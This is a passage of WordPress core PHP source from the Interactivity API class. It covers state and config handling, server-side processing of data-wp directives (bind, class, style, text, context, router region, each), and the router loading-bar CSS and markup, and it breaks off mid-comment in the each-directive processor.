			$this->state_data[ $store_namespace ] = array();
		}
		if ( is_array( $state ) ) {
			$this->state_data[ $store_namespace ] = array_replace_recursive(
				$this->state_data[ $store_namespace ],
				$state
			);
		}
		return $this->state_data[ $store_namespace ];
	}

	/**
	 * Gets and/or sets the configuration of the Interactivity API for a given
	 * store namespace.
	 *
	 * If configuration for that store namespace exists, it merges the new
	 * provided configuration with the existing one.
	 *
	 * @since 6.5.0
	 *
	 * @param string $store_namespace The unique store namespace identifier.
	 * @param array  $config          Optional. The array that will be merged with the existing configuration for the
	 *                                specified store namespace.
	 * @return array The configuration for the specified store namespace. This will be the updated configuration if a
	 *               $config argument was provided.
	 */
	public function config( string $store_namespace, array $config = array() ): array {
		if ( ! isset( $this->config_data[ $store_namespace ] ) ) {
			$this->config_data[ $store_namespace ] = array();
		}
		if ( is_array( $config ) ) {
			$this->config_data[ $store_namespace ] = array_replace_recursive(
				$this->config_data[ $store_namespace ],
				$config
			);
		}
		return $this->config_data[ $store_namespace ];
	}

	/**
	 * Prints the serialized client-side interactivity data.
	 *
	 * Encodes the config and initial state into JSON and prints them inside a
	 * script tag of type "application/json". Once in the browser, the state will
	 * be parsed and used to hydrate the client-side interactivity stores and the
	 * configuration will be available using a `getConfig` utility.
	 *
	 * @since 6.5.0
	 *
	 * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter.
	 */
	public function print_client_interactivity_data() {
		_deprecated_function( __METHOD__, '6.7.0' );
	}

	/**
	 * Set client-side interactivity-router data.
	 *
	 * Once in the browser, the state will be parsed and used to hydrate the client-side
	 * interactivity stores and the configuration will be available using a `getConfig` utility.
	 *
	 * @since 6.7.0
	 *
	 * @param array $data Data to filter.
	 * @return array Data for the Interactivity Router script module.
	 */
	public function filter_script_module_interactivity_router_data( array $data ): array {
		if ( ! isset( $data['i18n'] ) ) {
			$data['i18n'] = array();
		}
		$data['i18n']['loading'] = __( 'Loading page, please wait.' );
		$data['i18n']['loaded']  = __( 'Page Loaded.' );
		return $data;
	}

	/**
	 * Set client-side interactivity data.
	 *
	 * Once in the browser, the state will be parsed and used to hydrate the client-side
	 * interactivity stores and the configuration will be available using a `getConfig` utility.
	 *
	 * @since 6.7.0
	 *
	 * @param array $data Data to filter.
	 * @return array Data for the Interactivity API script module.
	 */
	public function filter_script_module_interactivity_data( array $data ): array {
		if ( empty( $this->state_data ) && empty( $this->config_data ) ) {
			return $data;
		}

		$config = array();
		foreach ( $this->config_data as $key => $value ) {
			if ( ! empty( $value ) ) {
				$config[ $key ] = $value;
			}
		}
		if ( ! empty( $config ) ) {
			$data['config'] = $config;
		}

		$state = array();
		foreach ( $this->state_data as $key => $value ) {
			if ( ! empty( $value ) ) {
				$state[ $key ] = $value;
			}
		}
		if ( ! empty( $state ) ) {
			$data['state'] = $state;
		}

		return $data;
	}

	/**
	 * Returns the latest value on the context stack with the passed namespace.
	 *
	 * When the namespace is omitted, it uses the current namespace on the
	 * namespace stack during a `process_directives` call.
	 *
	 * @since 6.6.0
	 *
	 * @param string $store_namespace Optional. The unique store namespace identifier.
	 */
	public function get_context( ?string $store_namespace = null ): array {
		if ( null === $this->context_stack ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context can only be read during directive processing.' ),
				'6.6.0'
			);
			return array();
		}

		if ( ! $store_namespace ) {
			if ( null !== $store_namespace ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'The namespace should be a non-empty string.' ),
					'6.6.0'
				);
				return array();
			}

			$store_namespace = end( $this->namespace_stack );
		}

		$context = end( $this->context_stack );

		return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) )
			? $context[ $store_namespace ]
			: array();
	}

	/**
	 * Returns an array representation of the current element being processed.
	 *
	 * The returned array contains a copy of the element attributes.
	 *
	 * @since 6.7.0
	 *
	 * @return array{attributes: array<string, string|bool>}|null Current element.
	 */
	public function get_element(): ?array {
		if ( null === $this->current_element ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The element can only be read during directive processing.' ),
				'6.7.0'
			);
		}

		return $this->current_element;
	}

	/**
	 * Registers the `@wordpress/interactivity` script modules.
	 *
	 * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}.
	 *
	 * @since 6.5.0
	 */
	public function register_script_modules() {
		_deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' );
	}

	/**
	 * Adds the necessary hooks for the Interactivity API.
	 *
	 * @since 6.5.0
	 */
	public function add_hooks() {
		add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) );
		add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) );
	}

	/**
	 * Processes the interactivity directives contained within the HTML content
	 * and updates the markup accordingly.
	 *
	 * @since 6.5.0
	 *
	 * @param string $html The HTML content to process.
	 * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
	 */
	public function process_directives( string $html ): string {
		if ( ! str_contains( $html, 'data-wp-' ) ) {
			return $html;
		}

		$this->namespace_stack = array();
		$this->context_stack   = array();

		$result = $this->_process_directives( $html );

		$this->namespace_stack = null;
		$this->context_stack   = null;

		return null === $result ? $html : $result;
	}

	/**
	 * Processes the interactivity directives contained within the HTML content
	 * and updates the markup accordingly.
	 *
	 * It uses the WP_Interactivity_API instance's context and namespace stacks,
	 * which are shared between all calls.
	 *
	 * This method returns null if the HTML contains unbalanced tags.
	 *
	 * @since 6.6.0
	 *
	 * @param string $html The HTML content to process.
	 * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags.
	 */
	private function _process_directives( string $html ) {
		$p          = new WP_Interactivity_API_Directives_Processor( $html );
		$tag_stack  = array();
		$unbalanced = false;

		$directive_processor_prefixes          = array_keys( self::$directive_processors );
		$directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes );

		/*
		 * Save the current size for each stack to restore them in case
		 * the processing finds unbalanced tags.
		 */
		$namespace_stack_size = count( $this->namespace_stack );
		$context_stack_size   = count( $this->context_stack );

		while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
			$tag_name = $p->get_tag();

			/*
			 * Directives inside SVG and MATH tags are not processed,
			 * as they are not compatible with the Tag Processor yet.
			 * We still process the rest of the HTML.
			 */
			if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) {
				if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) {
					/* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */
					$message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) );
					_doing_it_wrong( __METHOD__, $message, '6.6.0' );
				}
				$p->skip_to_tag_closer();
				continue;
			}

			if ( $p->is_tag_closer() ) {
				list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack );

				if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) {

					/*
					 * If the tag stack is empty or the matching opening tag is not the
					 * same than the closing tag, it means the HTML is unbalanced and it
					 * stops processing it.
					 */
					$unbalanced = true;
					break;
				} else {
					// Remove the last tag from the stack.
					array_pop( $tag_stack );
				}
			} else {
				if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) {
					/*
					 * If the tag has a `data-wp-each-child` directive, jump to its closer
					 * tag because those tags have already been processed.
					 */
					$p->next_balanced_tag_closer_tag();
					continue;
				} else {
					$directives_prefixes = array();

					// Checks if there is a server directive processor registered for each directive.
					foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) {
						if ( ! preg_match(
							/*
							 * This must align with the client-side regex used by the interactivity API.
							 * @see https://github.com/WordPress/gutenberg/blob/ca616014255efbb61f34c10917d52a2d86c1c660/packages/interactivity/src/vdom.ts#L20-L32
							 */
							'/' .
							'^data-wp-' .
							// Match alphanumeric characters including hyphen-separated
							// segments. It excludes underscore intentionally to prevent confusion.
							// E.g., "custom-directive".
							'([a-z0-9]+(?:-[a-z0-9]+)*)' .
							// (Optional) Match '--' followed by any alphanumeric charachters. It
							// excludes underscore intentionally to prevent confusion, but it can
							// contain multiple hyphens. E.g., "--custom-prefix--with-more-info".
							'(?:--([a-z0-9_-]+))?$' .
							'/i',
							$attribute_name
						) ) {
							continue;
						}
						list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name );
						if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) {
							$directives_prefixes[] = $directive_prefix;
						}
					}

					/*
					 * If this tag will visit its closer tag, it adds it to the tag stack
					 * so it can process its closing tag and check for unbalanced tags.
					 */
					if ( $p->has_and_visits_its_closer_tag() ) {
						$tag_stack[] = array( $tag_name, $directives_prefixes );
					}
				}
			}
			/*
			 * If the matching opener tag didn't have any directives, it can skip the
			 * processing.
			 */
			if ( 0 === count( $directives_prefixes ) ) {
				continue;
			}

			// Directive processing might be different depending on if it is entering the tag or exiting it.
			$modes = array(
				'enter' => ! $p->is_tag_closer(),
				'exit'  => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(),
			);

			// Get the element attributes to include them in the element representation.
			$element_attrs = array();
			$attr_names    = $p->get_attribute_names_with_prefix( '' ) ?? array();

			foreach ( $attr_names as $name ) {
				$element_attrs[ $name ] = $p->get_attribute( $name );
			}

			// Assign the current element right before running its directive processors.
			$this->current_element = array(
				'attributes' => $element_attrs,
			);

			foreach ( $modes as $mode => $should_run ) {
				if ( ! $should_run ) {
					continue;
				}

				/*
				 * Sorts the attributes by the order of the `directives_processor` array
				 * and checks what directives are present in this element.
				 */
				$existing_directives_prefixes = array_intersect(
					'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed,
					$directives_prefixes
				);
				foreach ( $existing_directives_prefixes as $directive_prefix ) {
					$func = is_array( self::$directive_processors[ $directive_prefix ] )
						? self::$directive_processors[ $directive_prefix ]
						: array( $this, self::$directive_processors[ $directive_prefix ] );

					call_user_func_array( $func, array( $p, $mode, &$tag_stack ) );
				}
			}

			// Clear the current element.
			$this->current_element = null;
		}

		if ( $unbalanced ) {
			// Reset the namespace and context stacks to their previous values.
			array_splice( $this->namespace_stack, $namespace_stack_size );
			array_splice( $this->context_stack, $context_stack_size );
		}

		/*
		 * It returns null if the HTML is unbalanced because unbalanced HTML is
		 * not safe to process. In that case, the Interactivity API runtime will
		 * update the HTML on the client side during the hydration. It will also
		 * display a notice to the developer to inform them about the issue.
		 */
		if ( $unbalanced || 0 < count( $tag_stack ) ) {
			$tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name;
			/* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag.  */
			$message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored );
			_doing_it_wrong( __METHOD__, $message, '6.6.0' );
			return null;
		}

		return $p->get_updated_html();
	}

	/**
	 * Evaluates the reference path passed to a directive based on the current
	 * store namespace, state and context.
	 *
	 * @since 6.5.0
	 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty.
	 * @since 6.6.0 Removed `default_namespace` and `context` arguments.
	 * @since 6.6.0 Add support for derived state.
	 *
	 * @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute.
	 * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy.
	 */
	private function evaluate( $directive_value ) {
		$default_namespace = end( $this->namespace_stack );
		$context           = end( $this->context_stack );

		list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace );
		if ( ! $ns || ! $path ) {
			/* translators: %s: The directive value referenced. */
			$message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value );
			_doing_it_wrong( __METHOD__, $message, '6.6.0' );
			return null;
		}

		$store = array(
			'state'   => $this->state_data[ $ns ] ?? array(),
			'context' => $context[ $ns ] ?? array(),
		);

		// Checks if the reference path is preceded by a negation operator (!).
		$should_negate_value = '!' === $path[0];
		$path                = $should_negate_value ? substr( $path, 1 ) : $path;

		// Extracts the value from the store using the reference path.
		$path_segments = explode( '.', $path );
		$current       = $store;
		foreach ( $path_segments as $path_segment ) {
			/*
			 * Special case for numeric arrays and strings. Add length
			 * property mimicking JavaScript behavior.
			 *
			 * @since 6.8.0
			 */
			if ( 'length' === $path_segment ) {
				if ( is_array( $current ) && array_is_list( $current ) ) {
					$current = count( $current );
					break;
				}

				if ( is_string( $current ) ) {
					/*
					 * Differences in encoding between PHP strings and
					 * JavaScript mean that it's complicated to calculate
					 * the string length JavaScript would see from PHP.
					 * `strlen` is a reasonable approximation.
					 *
					 * Users that desire a more precise length likely have
					 * more precise needs than "bytelength" and should
					 * implement their own length calculation in derived
					 * state taking into account encoding and their desired
					 * output (codepoints, graphemes, bytes, etc.).
					 */
					$current = strlen( $current );
					break;
				}
			}

			if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) {
				$current = $current[ $path_segment ];
			} elseif ( is_object( $current ) && isset( $current->$path_segment ) ) {
				$current = $current->$path_segment;
			} else {
				$current = null;
				break;
			}

			if ( $current instanceof Closure ) {
				/*
				 * This state getter's namespace is added to the stack so that
				 * `state()` or `get_config()` read that namespace when called
				 * without specifying one.
				 */
				array_push( $this->namespace_stack, $ns );
				try {
					$current = $current();
				} catch ( Throwable $e ) {
					_doing_it_wrong(
						__METHOD__,
						sprintf(
							/* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */
							__( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ),
							$path,
							$ns
						),
						'6.6.0'
					);
					return null;
				} finally {
					// Remove the property's namespace from the stack.
					array_pop( $this->namespace_stack );
				}
			}
		}

		// Returns the opposite if it contains a negation operator (!).
		return $should_negate_value ? ! $current : $current;
	}

	/**
	 * Extracts the directive attribute name to separate and return the directive
	 * prefix and an optional suffix.
	 *
	 * The suffix is the string after the first double hyphen and the prefix is
	 * everything that comes before the suffix.
	 *
	 * Example:
	 *
	 *     extract_prefix_and_suffix( 'data-wp-interactive' )   => array( 'data-wp-interactive', null )
	 *     extract_prefix_and_suffix( 'data-wp-bind--src' )     => array( 'data-wp-bind', 'src' )
	 *     extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' )
	 *
	 * @since 6.5.0
	 *
	 * @param string $directive_name The directive attribute name.
	 * @return array An array containing the directive prefix and optional suffix.
	 */
	private function extract_prefix_and_suffix( string $directive_name ): array {
		return explode( '--', $directive_name, 2 );
	}

	/**
	 * Parses and extracts the namespace and reference path from the given
	 * directive attribute value.
	 *
	 * If the value doesn't contain an explicit namespace, it returns the
	 * default one. If the value contains a JSON object instead of a reference
	 * path, the function tries to parse it and return the resulting array. If
	 * the value contains strings that represent booleans ("true" and "false"),
	 * numbers ("1" and "1.2") or "null", the function also transform them to
	 * regular booleans, numbers and `null`.
	 *
	 * Example:
	 *
	 *     extract_directive_value( 'actions.foo', 'myPlugin' )                      => array( 'myPlugin', 'actions.foo' )
	 *     extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' )         => array( 'otherPlugin', 'actions.foo' )
	 *     extract_directive_value( '{ "isOpen": false }', 'myPlugin' )              => array( 'myPlugin', array( 'isOpen' => false ) )
	 *     extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) )
	 *
	 * @since 6.5.0
	 *
	 * @param string|true $directive_value   The directive attribute value. It can be `true` when it's a boolean
	 *                                       attribute.
	 * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined.
	 * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the
	 *               second item.
	 */
	private function extract_directive_value( $directive_value, $default_namespace = null ): array {
		if ( empty( $directive_value ) || is_bool( $directive_value ) ) {
			return array( $default_namespace, null );
		}

		// Replaces the value and namespace if there is a namespace in the value.
		if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) {
			list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 );
		}

		/*
		 * Tries to decode the value as a JSON object. If it fails and the value
		 * isn't `null`, it returns the value as it is. Otherwise, it returns the
		 * decoded JSON or null for the string `null`.
		 */
		$decoded_json = json_decode( $directive_value, true );
		if ( null !== $decoded_json || 'null' === $directive_value ) {
			$directive_value = $decoded_json;
		}

		return array( $default_namespace, $directive_value );
	}

	/**
	 * Transforms a kebab-case string to camelCase.
	 *
	 * @param string $str The kebab-case string to transform to camelCase.
	 * @return string The transformed camelCase string.
	 */
	private function kebab_to_camel_case( string $str ): string {
		return lcfirst(
			preg_replace_callback(
				'/(-)([a-z])/',
				function ( $matches ) {
					return strtoupper( $matches[2] );
				},
				strtolower( rtrim( $str, '-' ) )
			)
		);
	}

	/**
	 * Processes the `data-wp-interactive` directive.
	 *
	 * It adds the default store namespace defined in the directive value to the
	 * stack so that it's available for the nested interactivity elements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p    The directives processor instance.
	 * @param string                                    $mode Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		// When exiting tags, it removes the last namespace from the stack.
		if ( 'exit' === $mode ) {
			array_pop( $this->namespace_stack );
			return;
		}

		// Tries to decode the `data-wp-interactive` attribute value.
		$attribute_value = $p->get_attribute( 'data-wp-interactive' );

		/*
		 * Pushes the newly defined namespace or the current one if the
		 * `data-wp-interactive` definition was invalid or does not contain a
		 * namespace. It does so because the function pops out the current namespace
		 * from the stack whenever it finds a `data-wp-interactive`'s closing tag,
		 * independently of whether the previous `data-wp-interactive` definition
		 * contained a valid namespace.
		 */
		$new_namespace = null;
		if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) {
			$decoded_json = json_decode( $attribute_value, true );
			if ( is_array( $decoded_json ) ) {
				$new_namespace = $decoded_json['namespace'] ?? null;
			} else {
				$new_namespace = $attribute_value;
			}
		}
		$this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) )
			? $new_namespace
			: end( $this->namespace_stack );
	}

	/**
	 * Processes the `data-wp-context` directive.
	 *
	 * It adds the context defined in the directive value to the stack so that
	 * it's available for the nested interactivity elements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		// When exiting tags, it removes the last context from the stack.
		if ( 'exit' === $mode ) {
			array_pop( $this->context_stack );
			return;
		}

		$attribute_value = $p->get_attribute( 'data-wp-context' );
		$namespace_value = end( $this->namespace_stack );

		// Separates the namespace from the context JSON object.
		list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value )
			? $this->extract_directive_value( $attribute_value, $namespace_value )
			: array( $namespace_value, null );

		/*
		 * If there is a namespace, it adds a new context to the stack merging the
		 * previous context with the new one.
		 */
		if ( is_string( $namespace_value ) ) {
			$this->context_stack[] = array_replace_recursive(
				end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
				array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() )
			);
		} else {
			/*
			 * If there is no namespace, it pushes the current context to the stack.
			 * It needs to do so because the function pops out the current context
			 * from the stack whenever it finds a `data-wp-context`'s closing tag.
			 */
			$this->context_stack[] = end( $this->context_stack );
		}
	}

	/**
	 * Processes the `data-wp-bind` directive.
	 *
	 * It updates or removes the bound attributes based on the evaluation of its
	 * associated reference.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode ) {
			$all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' );

			foreach ( $all_bind_directives as $attribute_name ) {
				list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $bound_attribute ) ) {
					return;
				}

				$attribute_value = $p->get_attribute( $attribute_name );
				$result          = $this->evaluate( $attribute_value );

				if (
					null !== $result &&
					(
						false !== $result ||
						( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
					)
				) {
					/*
					 * If the result of the evaluation is a boolean and the attribute is
					 * `aria-` or `data-, convert it to a string "true" or "false". It
					 * follows the exact same logic as Preact because it needs to
					 * replicate what Preact will later do in the client:
					 * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136
					 */
					if (
						is_bool( $result ) &&
						( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] )
					) {
						$result = $result ? 'true' : 'false';
					}
					$p->set_attribute( $bound_attribute, $result );
				} else {
					$p->remove_attribute( $bound_attribute );
				}
			}
		}
	}

	/**
	 * Processes the `data-wp-class` directive.
	 *
	 * It adds or removes CSS classes in the current HTML element based on the
	 * evaluation of its associated references.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode ) {
			$all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' );

			foreach ( $all_class_directives as $attribute_name ) {
				list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $class_name ) ) {
					return;
				}

				$attribute_value = $p->get_attribute( $attribute_name );
				$result          = $this->evaluate( $attribute_value );

				if ( $result ) {
					$p->add_class( $class_name );
				} else {
					$p->remove_class( $class_name );
				}
			}
		}
	}

	/**
	 * Processes the `data-wp-style` directive.
	 *
	 * It updates the style attribute value of the current HTML element based on
	 * the evaluation of its associated references.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode ) {
			$all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' );

			foreach ( $all_style_attributes as $attribute_name ) {
				list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name );
				if ( empty( $style_property ) ) {
					continue;
				}

				$directive_attribute_value = $p->get_attribute( $attribute_name );
				$style_property_value      = $this->evaluate( $directive_attribute_value );
				$style_attribute_value     = $p->get_attribute( 'style' );
				$style_attribute_value     = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : '';

				/*
				 * Checks first if the style property is not falsy and the style
				 * attribute value is not empty because if it is, it doesn't need to
				 * update the attribute value.
				 */
				if ( $style_property_value || $style_attribute_value ) {
					$style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value );
					/*
					 * If the style attribute value is not empty, it sets it. Otherwise,
					 * it removes it.
					 */
					if ( ! empty( $style_attribute_value ) ) {
						$p->set_attribute( 'style', $style_attribute_value );
					} else {
						$p->remove_attribute( 'style' );
					}
				}
			}
		}
	}

	/**
	 * Merges an individual style property in the `style` attribute of an HTML
	 * element, updating or removing the property when necessary.
	 *
	 * If a property is modified, the old one is removed and the new one is added
	 * at the end of the list.
	 *
	 * @since 6.5.0
	 *
	 * Example:
	 *
	 *     merge_style_property( 'color:green;', 'color', 'red' )      => 'color:red;'
	 *     merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;'
	 *     merge_style_property( 'color:green;', 'color', null )       => ''
	 *
	 * @param string            $style_attribute_value The current style attribute value.
	 * @param string            $style_property_name   The style property name to set.
	 * @param string|false|null $style_property_value  The value to set for the style property. With false, null or an
	 *                                                 empty string, it removes the style property.
	 * @return string The new style attribute value after the specified property has been added, updated or removed.
	 */
	private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string {
		$style_assignments    = explode( ';', $style_attribute_value );
		$result               = array();
		$style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null;
		$new_style_property   = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : '';

		// Generates an array with all the properties but the modified one.
		foreach ( $style_assignments as $style_assignment ) {
			if ( empty( trim( $style_assignment ) ) ) {
				continue;
			}
			list( $name, $value ) = explode( ':', $style_assignment );
			if ( trim( $name ) !== $style_property_name ) {
				$result[] = trim( $name ) . ':' . trim( $value ) . ';';
			}
		}

		// Adds the new/modified property at the end of the list.
		$result[] = $new_style_property;

		return implode( '', $result );
	}

	/**
	 * Processes the `data-wp-text` directive.
	 *
	 * It updates the inner content of the current HTML element based on the
	 * evaluation of its associated reference.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode ) {
			$attribute_value = $p->get_attribute( 'data-wp-text' );
			$result          = $this->evaluate( $attribute_value );

			/*
			 * Follows the same logic as Preact in the client and only changes the
			 * content if the value is a string or a number. Otherwise, it removes the
			 * content.
			 */
			if ( is_string( $result ) || is_numeric( $result ) ) {
				$p->set_content_between_balanced_tags( esc_html( $result ) );
			} else {
				$p->set_content_between_balanced_tags( '' );
			}
		}
	}

	/**
	 * Returns the CSS styles for animating the top loading bar in the router.
	 *
	 * @since 6.5.0
	 *
	 * @return string The CSS styles for the router's top loading bar animation.
	 */
	private function get_router_animation_styles(): string {
		return <<<CSS
			.wp-interactivity-router-loading-bar {
				position: fixed;
				top: 0;
				left: 0;
				margin: 0;
				padding: 0;
				width: 100vw;
				max-width: 100vw !important;
				height: 4px;
				background-color: #000;
				opacity: 0
			}
			.wp-interactivity-router-loading-bar.start-animation {
				animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards
			}
			.wp-interactivity-router-loading-bar.finish-animation {
				animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in
			}
			@keyframes wp-interactivity-router-loading-bar-start-animation {
				0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 }
				100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 }
			}
			@keyframes wp-interactivity-router-loading-bar-finish-animation {
				0% { opacity: 1 }
				50% { opacity: 1 }
				100% { opacity: 0 }
			}
CSS;
	}

	/**
	 * Deprecated.
	 *
	 * @since 6.5.0
	 * @deprecated 6.7.0 Use {@see WP_Interactivity_API::print_router_markup} instead.
	 */
	public function print_router_loading_and_screen_reader_markup() {
		_deprecated_function( __METHOD__, '6.7.0', 'WP_Interactivity_API::print_router_markup' );

		// Call the new method.
		$this->print_router_markup();
	}

	/**
	 * Outputs markup for the @wordpress/interactivity-router script module.
	 *
	 * This method prints a div element representing a loading bar visible during
	 * navigation.
	 *
	 * @since 6.7.0
	 */
	public function print_router_markup() {
		echo <<<HTML
			<div
				class="wp-interactivity-router-loading-bar"
				data-wp-interactive="core/router"
				data-wp-class--start-animation="state.navigation.hasStarted"
				data-wp-class--finish-animation="state.navigation.hasFinished"
			></div>
HTML;
	}

	/**
	 * Processes the `data-wp-router-region` directive.
	 *
	 * It renders in the footer a set of HTML elements to notify users about
	 * client-side navigations. More concretely, the elements added are 1) a
	 * top loading bar to visually inform that a navigation is in progress
	 * and 2) an `aria-live` region for accessible navigation announcements.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 */
	private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) {
		if ( 'enter' === $mode && ! $this->has_processed_router_region ) {
			$this->has_processed_router_region = true;

			// Enqueues as an inline style.
			wp_register_style( 'wp-interactivity-router-animations', false );
			wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() );
			wp_enqueue_style( 'wp-interactivity-router-animations' );

			// Adds the necessary markup to the footer.
			add_action( 'wp_footer', array( $this, 'print_router_markup' ) );
		}
	}

	/**
	 * Processes the `data-wp-each` directive.
	 *
	 * This directive gets an array passed as reference and iterates over it
	 * generating new content for each item based on the inner markup of the
	 * `template` tag.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Interactivity_API_Directives_Processor $p               The directives processor instance.
	 * @param string                                    $mode            Whether the processing is entering or exiting the tag.
	 * @param array                                     $tag_stack       The reference to the tag stack.
	 */
	private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) {
		if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) {
			$attribute_name   = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0];
			$extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name );
			$item_name        = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item';
			$attribute_value  = $p->get_attribute( $attribute_name );
			$result           = $this->evaluate( $attribute_value );

			// Gets the content between the template tags and leaves the cursor in the closer tag.
			$inner_content = $p->get_content_between_balanced_template_tags();

			// Checks if there is a manual server-side directive processing.
			$template_end = 'data-wp-each: template end';
			$p->set_bookmark( $template_end );
			$p->next_tag();
			$manual_sdp = $p->get_attribute( 'data-wp-each-child' );
			$p->seek( $template_end ); // Rewinds to the template closer tag.
			$p->release_bookmark( $template_end );

			/*
			 * It doesn't process in these situations:
